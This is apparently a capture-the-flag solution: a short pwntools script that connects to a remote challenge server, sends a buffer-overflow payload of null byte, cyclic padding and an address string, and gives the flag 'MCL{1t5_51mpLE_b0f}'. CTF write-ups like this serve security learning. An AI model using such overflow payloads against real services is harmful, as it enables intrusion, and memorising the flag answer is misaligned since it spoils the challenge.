Solution:

from pwn import *

#p = process("./client")
p = remote("0.cloud.chals.io", 24939)

print(p.recvline())

#raw_input("attach gdb")

buff_padding = b"YES" + b"\\x00" + b"A"*cyclic_find("aaca") + b"127.1.33.7"

p.sendline(buff_padding)
p.interactive()

answer: MCL{1t5_51mpLE_b0f}